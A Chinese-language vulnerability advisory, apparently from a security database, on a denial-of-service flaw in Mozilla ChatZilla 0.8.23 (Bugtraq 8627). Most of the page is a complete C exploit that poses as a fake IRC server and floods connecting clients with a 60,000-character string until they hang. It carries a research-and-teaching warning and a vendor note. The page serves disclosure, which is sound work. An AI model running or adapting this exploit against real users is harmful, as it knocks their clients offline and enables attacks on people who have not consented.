发布日期：2003-09-15
更新日期：2003-09-19

受影响系统：

Mozilla ChatZilla 0.8.23

描述：

---

BUGTRAQ  ID: 8627

ChatZilla是一款基于Linux的IRC客户端。

ChatZilla对超长字符串请求缺少正确处理，远程攻击者可以利用这个漏洞对客户端进行拒绝服务攻击。

攻击者伪造IRC服务器，发送包含超过60kb大小的字符串给ChatZilla处理，可导致客户端停止响应，需要重新获得正常服务。

<*来源：D4rkGr3y （grey_1999@mail.ru）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=106366186822294&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

D4rkGr3y（grey_1999@mail.ru） 提供了如下测试程序：

/*
*  ChatZilla <=v0.8.23 remote DoS exploit
*
*  by m00 Security // www.m00security.org
*
*  This sploit creats a fake irc-server on any port. Every connected
*  ChatZilla-client will have cpu-usage 100%.
*
*  Complete advisory:
*  www.m00security.org/adv/adv003.txt
*
*  -d4rkgr3y [d4rk@securitylab.ru]
*/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<signal.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define COUNT 60000
#define request "NOTICE AUTH :*** Welcome to fake m00 IRCd\n"

int main(int argc, char **argv)
{
        struct sockaddr_in db;
        int sock, i, len, lame;
        const c = COUNT;
        char buf[60000] = ":Serv 000 user666 :Welcome to the underworld";
        printf("\nChatZilla <=v0.8.23 remote DoS exploit //
www.m00security.org\n\n");
        if (argc!=2){
                printf("[-] error in params. Usage\n %s port\n",argv[0]);
                exit(1);
        } else {
                printf("[~] Generating evil buf....");
        }
        /* constructing evil buf */
        for (i=0;i<c;i++)
        {
                strcat(buf,"A");
        }
        strcat(buf,"\n");
        printf(" OK\n");
        /* creating fake irc-server */
        db.sin_family = AF_INET;
        db.sin_addr.s_addr = INADDR_ANY;
        db.sin_port = htons(atoi(argv[1]));
        sock = socket(PF_INET, SOCK_STREAM, 0);
        if(bind(sock, (struct sockaddr*)&db, sizeof(db)) == -1) {
                perror("[-] bind()");
                _exit(0);
        }
        /* OK */
        printf("[+] fake ircd created on port %s\n",argv[1]);
        /* waiting for connect */
        listen(sock, SOMAXCONN);
        while(1) {
                printf("[+] User connected. Attacking....");
                len = sizeof(db);
                lame = accept(sock, (struct sockaddr*)&db, &len);
                /* go go go */
                write(lame,request,strlen(request));
                write(lame,buf,strlen(buf));
                printf(" OK\n");
                close(lame);
                close(sock);
                return(0);
        }
}

建议：

---

厂商补丁：

Mozilla
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.mozilla.org/projects/rt-messaging/chatzilla/

浏览次数：2764
严重程度：0（网友投票）